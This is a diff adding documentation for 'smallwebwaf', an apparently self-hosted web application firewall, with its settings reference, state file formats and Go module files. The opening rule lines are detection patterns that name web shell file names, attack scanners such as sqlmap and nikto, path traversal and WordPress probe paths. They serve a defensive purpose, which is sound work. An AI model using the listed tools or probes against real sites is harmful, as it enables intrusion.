+compose-file     path        ban     (?i)^/(docker-)?compose\.ya?ml$
+php-shell        path        ban     (?i)^/(shell|c99|r57|wso|alfa)\.php$
+scanner-agent    user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
+path-traversal   uri         block   (\.\./){2,}
+empty-agent      user_agent  log     ^$
+```
+
+## A file of your own
+
+`servewaf` reads the rule files in its own container. Rules of your own go in a
+file named to sort after the default, such as `50-gitea.rules`:
+
+```
+# 50-gitea.rules: WordPress probes, which gitea never serves
+wp-probe         path        ban     (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
+```
+
+A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from,
+adds it:
+
+```dockerfile
+COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules
+```
+
+Or mount it there. A `path` rule applies on every site behind that `servewaf`.

docs/settings.md

@@ -0,0 +1,402 @@
+# Settings
+
+Every setting, its default and the values it takes, in the groups of "Settings"
+in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
+that take `off`, the `_FILE` form, and what each group does and why.
+
+The settings that start with `SWWAF_` are `servewaf`'s. Those that start with
+`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SMALLWEBWAF_COMMAND`
+chooses between the two (see "The image's command" below).
+
+## Forms of values
+
+- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
+  and negative durations are refused.
+- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
+  of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
+- A count is a whole number of requests, such as `1000`.
+- A list is comma separated, with spaces around items ignored. An empty item is
+  refused.
+- A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
+  address stands for itself alone.
+- A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
+  are the same. `xk` stands for Kosovo. A code that is not a country is refused,
+  such as `nk` (North Korea is `kp`) or the withdrawn `su`.
+- An AS number is `AS` and the number, in either case, such as `AS64496`.
+- A percentage is a whole number from 0 to 100.
+- A path prefix starts with `/`, such as `/assets/`.
+
+## Core
+
+- `SWWAF_LISTEN_ADDR` (default `:8080`): where `servewaf` listens: `:` and a
+  port, such as `:9000`. Leave the host out (see "Ports" in
+  [`SPEC.md`](../SPEC.md)).
+- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance`
+  name in each line `servewaf` logs, and in each alert and metric, such as
+  `fsn1/servewaf`. Valid UTF-8. No control character while
+  `SWWAF_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
+  space while `SWWAF_LOG_REMOTE_URL` is set and `SWWAF_LOG_REMOTE_APP_NAME` is
+  not.
+- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
+- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
+  client's group, from 32 to 128.
+- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
+  number above zero.
+- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `servewaf` keeps,
+  a whole number above zero.
+
+## Tokens
+
+- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
+  `/_smallwebwaf/clients/<ip>`. At least 32 characters.
+- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`.
+  At least 32 characters.
+
+## State files
+
+- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state
+  files, an absolute path that exists and can be written.
+- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
+  written after a ban is made, lifted or made permanent. A duration.
+- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
+  written. A duration.
+
+## Logging
+
+- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own
+  messages that are written: `debug`, `info`, `warn` or `error`.
+- `SWWAF_LOG_REQUEST_HEADERS` (default
+  `accept,accept-language,accept-encoding,content-type,origin,range`): the
+  request headers recorded in the log line, in either case. `Host` and
+  `Transfer-Encoding` are refused; the host is the field `host`.
+- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
+  line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
+  each with a host and a port and nothing more.
+- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
+  that a `syslog+tls` server's certificate must chain to, instead of the host's
+  own. A file that cannot be read, or holds no certificate, is refused.
+- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
+  wait to be sent, a whole number above zero.
+- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
+  `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
+  `authpriv`, `ftp`, or `local0` to `local7`.
+- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in
+  each syslog record, 1 to 48 printable ASCII characters without a space.
+
+## Metrics
+
+- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
+  countries get series of their own. A whole number above zero.
+
+## Static lists
+
+- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
+  monitoring (see step 3 in [`SPEC.md`](../SPEC.md)).
+- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
+  exempt from rate limiting and the byte limits.
+- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
+  step 3 in [`SPEC.md`](../SPEC.md)).
+
+## Request rate limits, per client
+
+- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `500`, about 8 a second): the most
+  requests a client may make in a minute. A count or `off`. The default catches,
+  within seconds, a client firing requests as fast as it can. It leaves room for
+  a fleet of about 20 agents at its busiest, about 120 requests a minute. It
+  also leaves room for a few quick first visits to gitea with an empty cache,
+  about 40 files each.
+- `SWWAF_RATE_LIMIT_PER_HOUR` (default `20000`, about 5.5 a second): the most
+  requests a client may make in an hour. A count or `off`. The default leaves
+  room for an automation fleet at work. It catches a client that keeps up more
+  than about 5.5 a second for an hour.
+- `SWWAF_RATE_LIMIT_PER_DAY` (default `300000`, about 3.5 a second): the most
+  requests a client may make in a day. A count or `off`. The default catches a
+  scraper that keeps up 4 a second around the clock.
+- Counting cannot catch a client that stays under all three limits (see "Request
+  rate limits, per client" in [`SPEC.md`](../SPEC.md)).
+- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
+  rate limiting and the byte limits, such as `/assets/`.
+
+## Byte limits, per client
+
+- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `4G`), `SWWAF_BYTES_LIMIT_PER_HOUR`
+  (default `20G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `200G`): the most
+  bytes counted for a client in each window. A size or `off`.
+- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
+  `response`, `request` or `both`.
+
+## Lookup of AS number and country
+
+- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
+  the start while a setting that needs a lookup is set:
+    - the two country lists;
+    - `SWWAF_ADD_LOOKUP_HEADERS`;
+    - the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`;
+    - `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`;
+    - an anomaly threshold per AS number.
+- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
+  `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`.
+- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
+  client's first answer from GeoJS, and how long a request to GeoJS may take. A
+  duration; never `off`.
+- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
+  the client's AS number in `X-Client-ASN` and its country in
+  `X-Client-Country`.
+
+## Country lists
+
+- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
+  such as `cn,ru,kp`.
+- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
+  countries whose clients get through, such as `us,de`. A country on both lists
+  stops the start.
+
+## Biased thresholds
+
+- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
+  and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
+  listed twice is refused.
+- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
+  `cn:25,ru:50`.
+- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty):
+  the same, for the byte limits alone.
+- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
+  lookup cannot place.
+- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
+  text file with one AS number and percentage on each line, such as
+  `AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused.
+
+## Attack detection
+
+- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the
+  rule files.
+- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
+- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
+  `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
+- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`.
+- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
+  from 1 to 4.
+- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
+  match. A whole number above zero, or `off`.
+- `SWWAF_WAF_DISABLED_RULES` (default
+  `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
+  to switch off. Each a whole number above zero. An id from 900000 to 900999 is
+  refused: those are the rules that set the Core Rule Set up, and
+  `smallwebwaf`'s own.
+- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
+  not inspect.
+- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body
+  the Core Rule Set reads, a size of at most `64K`. A question carries no more
+  of a body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one
+  byte of it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
+- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client
+  in a minute (see "Attack detection" in `SPEC.md`). A count or `off`.
+
+## Ban lengths, response and scope
+
+- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
+- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
+  duration.
+- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
+  within which breaking a limit again lengthens the next ban. A duration.
+- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
+  one that would be longer is permanent. A duration.
+- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
+  attack. A duration.
+- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
+  covers: the prefix length of its netblock, from 0 to 32.
+
+## Reputation
+
+- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
+  `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
+  without a user or a fragment. A URL listed twice is refused.
+- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
+  last try before it is fetched again. A duration of `1h` or more.
+- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
+- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
+  `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
+  zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
+  is refused, whatever its case or key.
+- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
+  such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
+  port, 53 when none is given. Unset, the host's resolver is used.
+- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
+  control character in it is refused.
+- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
+  from 0 to 100, that is a hit.
+- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day,
+  a whole number above zero. AbuseIPDB's free accounts may make 1,000.
+- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
+  you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
+  user or a fragment; its decision list is at `v1/decisions` under it. Set
+  without the key, it is refused. So is a decision list URL that is also in
+  `SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`.
+- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
+  `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
+  URL, it is refused.
+- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
+  `log`, for DNS blocklist and AbuseIPDB hits.
+- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
+  AbuseIPDB's score is used. A duration.
+- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
+  check with AbuseIPDB may take. A duration.
+
+## Alerting
+
+- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
+  alert as a JSON object. An `http` or `https` URL without a user or a fragment.
+- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
+  such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
+  value. A value cannot hold a comma.
+- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
+  that receives each alert as a message, checked as the webhook URL is.
+- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
+  alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
+  as the webhook URL is.
+- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
+  character in it is refused.
+- `SWWAF_ALERT_EVENTS` (default
+  `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
+  the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
+  but `summary`. Any other name is refused.
+- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
+  repeats are held back. A duration or `off`.
+- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
+  whole number above zero, or `off`.
+
+## Anomaly thresholds
+
+Each scope has four thresholds: the most requests and the most bytes counted in
+a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
+default. The four thresholds per client are:
+
+- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
+- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
+- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
+- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
+
+The other scopes' names have another prefix before the same four endings, such
+as `REQUESTS_PER_MINUTE`:
+
+- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
+  netblock's length:
+    - `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
+      client;
+    - `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
+      client.
+- `SWWAF_ANOMALY_ASN_...`: per AS number.
+- `SWWAF_ANOMALY_TOTAL_...`: the whole service.
+- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole.
+  `SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
+  as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
+  name, or with a bad netblock, is refused. So is a name used twice.
+
+## Settings given as files
+
+To give a token as a file, as "Tokens" under "Deployment" in
+[`SPEC.md`](../SPEC.md) describes, make the file on the host:
+
+```sh
+mkdir -p /srv/app/tokens
+openssl rand -hex 32 > /srv/app/tokens/metrics
+chown 65532:65532 /srv/app/tokens/metrics
+chmod 0400 /srv/app/tokens/metrics
+```
+
+Then mount its directory into the container read-only, and name the file:
+
+```sh
+docker run \
+    -v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \
+    -e SMALLWEBWAF_COMMAND=servewaf \
+    -e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \
+    ...
+```
+
+## Fixed limits
+
+A few limits are fixed rather than settings:
+
+- at most 100,000 GeoJS answers are kept;
+- at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
+- at most 1,000 DNS blocklist queries are under way at once;
+- at most 20,000 anomaly counters are kept;
+- each alert destination's queue holds at most 1,000 alerts;
+- `servewaf` holds at most 10,000 answered requests awaiting their reports;
+- `servewaf` refuses a request with more than 50 cookies or more than 100 header
+  fields (see "Answering in time" under "`servewaf`" in
+  [`SPEC.md`](../SPEC.md));
+- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
+  kept-open connection idle for 120 seconds;
+- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers
+  `502` to a longer one.
+
+## `servewaf`'s answer and `rproxy`'s wait
+
+`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
+Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question
+waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are
+asked in the background (see "Answering in time" under "`servewaf`" in
+[`SPEC.md`](../SPEC.md)).
+
+## `rproxy`
+
+`smallwebwaf rproxy` reads the settings below and no others. They are read once
+at start, and an invalid value stops the start. None can be given as a file,
+since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says
+what they do.
+
+A time here is a whole number of milliseconds above zero, such as `2000`.
+
+- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or
+  `https` URL with a host and an optional port, and nothing more. `rproxy`
+  speaks HTTP/1.1 to it.
+- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s
+  answer, to a question and to a report. A time; never `off`.
+- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
+  `servewaf` cannot be connected to, does not answer at all, or does not answer
+  within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
+  `503`. It does not apply to an answer `servewaf` gives, such as an error.
+- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
+  `off`.
+- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
+  `off`.
+- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
+  send its request line and headers. It then also bounds, from the end of the
+  headers, the time until the app has been sent the whole request. A time or
+  `off`.
+- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
+  from the end of the request to its last byte reaching the visitor. A time or
+  `off`.
+- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
+- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
+  `https` URL with a host and an optional port, and nothing more.
+- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
+  the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
+  nothing. A client outside these netblocks cannot claim another address. Where
+  other containers reach `rproxy` directly, or visitors on a private network
+  reach traefik, they can name another address in the header. Narrowing the
+  setting to traefik's own network closes that gap.
+
+## The image's command
+
+`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what
+its health check checks: `rproxy` or `servewaf` (see "Deployment" in
+[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
+
+## Where earlier settings went
+
+Nothing reads these names any more:
+
+- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
+- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
+- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
+- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
+- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are
+  `SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
+- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are
+  `SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
+- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have
+  no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
+  takes a request line and headers of at most 32 KiB.

docs/state-files.md

@@ -0,0 +1,104 @@
+# State files
+
+The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent
+state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
+Each has a top-level `version` of 1.
+
+## `bans.json`
+
+Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of
+those `servewaf` made. Per entry:
+
+- `netblock`, `start` and `expires` (`null` for a permanent ban);
+- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
+- `reason`: a short reason;
+- `lifted`: when an admin lifted it, if one did;
+- `notes`: the notes below.
+
+An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
+`notes` and `cause` may be left out, and the cause is then `admin`:
+
+```json
+{
+    "version": 1,
+    "bans": [
+        {
+            "netblock": "203.0.113.0/24",
+            "start": "2026-10-06T12:00:00Z",
+            "expires": null,
+            "reason": "probes for logins"
+        }
+    ]
+}
+```
+
+"Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
+ban. The notes:
+
+- `asn`, `as_name` and `country`: the client's, added when the lookup answers
+  (empty when lookups are off);
+- for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
+  `window` and `count`: what the limit was on, the limit, its window and the
+  count reached;
+- `limit_percent` and `limit_percent_setting`: the client's percentage of that
+  limit and the setting that gave it, when a setting lowered it;
+- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
+- `reputation`: the sources the client was on, each with its `source` and, for
+  AbuseIPDB, its `score`;
+- `request`: the request that caused the ban, each text cut to 256 bytes:
+    - `time`, `method` and `host`;
+    - `path`, with its query string;
+    - `status` and `user_agent`;
+- `requests` and `refused`: the netblock's requests since it was first seen, and
+  how many this ban has refused so far, kept up to date while the ban lasts;
+- `earlier_bans`: how many earlier bans the netblock had, by cause.
+
+## `clients.json`
+
+Per client, one per line: its minute, hour and day counters, and its history
+since it was first seen:
+
+- the first and last time seen;
+- the AS number, AS name and country last looked up, and when;
+- total requests, and how many were forwarded and how many refused;
+- bytes in each direction;
+- responses by status class;
+- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file
+  may also hold `token_refused`, which is kept, and which nothing adds to.
+
+## `lookups.json`
+
+GeoJS answers, one per line:
+
+- `client`;
+- `asn`, `as_name` and `country`;
+- `answered`: when GeoJS answered;
+- `used`: when the answer was last used.
+
+## `reputation.json`
+
+- the last good copy of each list fetched from a URL, with when it was last
+  tried;
+- each DNS blocklist verdict still in use;
+- AbuseIPDB's scores, and the checks spent today.
+
+## `alerts.json`
+
+- the anomaly counters;
+- the alert cooldowns: for each event and netblock, source, file or anomaly
+  scope, when it was last sent and the count of repeats held back since;
+- the alerts sent and held back in the current hour;
+- the alerts waiting for each destination.
+
+## Sizes
+
+- `clients.json`: about 1 KiB per client, about 20 MiB at the default
+  `SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
+  disk writes a day.
+- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
+  the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to
+  about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
+  more.
+- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
+  full.
+- `reputation.json` and `alerts.json`: usually a few MiB or less.

go.mod

@@ -0,0 +1,43 @@
+module sneak.berlin/go/smallwebwaf
+
+go 1.26.0
+
+require (
+	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
+	github.com/corazawaf/coraza/v3 v3.8.1
+	github.com/fsnotify/fsnotify v1.10.1
+	github.com/hashicorp/golang-lru/v2 v2.0.7
+	github.com/maxmind/mmdbwriter v1.2.0
+	github.com/oschwald/maxminddb-golang/v2 v2.7.0
+	github.com/prometheus/client_golang v1.24.1
+)
+
+require (
+	github.com/beorn7/perks v1.0.1 // indirect
+	github.com/cespare/xxhash/v2 v2.3.0 // indirect
+	github.com/corazawaf/libinjection-go v0.3.3 // indirect
+	github.com/goccy/go-json v0.10.5 // indirect
+	github.com/goccy/go-yaml v1.19.2 // indirect
+	github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
+	github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
+	github.com/kaptinlin/go-i18n v0.1.4 // indirect
+	github.com/kaptinlin/jsonschema v0.4.6 // indirect
+	github.com/kylelemons/godebug v1.1.0 // indirect
+	github.com/magefile/mage v1.17.0 // indirect
+	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
+	github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
+	github.com/prometheus/client_model v0.6.2 // indirect
+	github.com/prometheus/common v0.70.1 // indirect
+	github.com/prometheus/procfs v0.21.1 // indirect
+	github.com/tidwall/gjson v1.18.0 // indirect
+	github.com/tidwall/match v1.1.1 // indirect
+	github.com/tidwall/pretty v1.2.1 // indirect
+	github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
+	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
+	golang.org/x/net v0.58.0 // indirect
+	golang.org/x/sync v0.23.0 // indirect
+	golang.org/x/sys v0.48.0 // indirect
+	golang.org/x/text v0.41.0 // indirect
+	google.golang.org/protobuf v1.36.11 // indirect
+	rsc.io/binaryregexp v0.2.0 // indirect
+)

go.sum

@@ -0,0 +1,97 @@
+github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
+github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
+github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
+github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
+github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
+github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
+github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
+github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
+github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
+github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
+github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
+github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
+github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
+github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
+github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
+github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
+github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
+github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
+github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
+github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
+github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
+github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
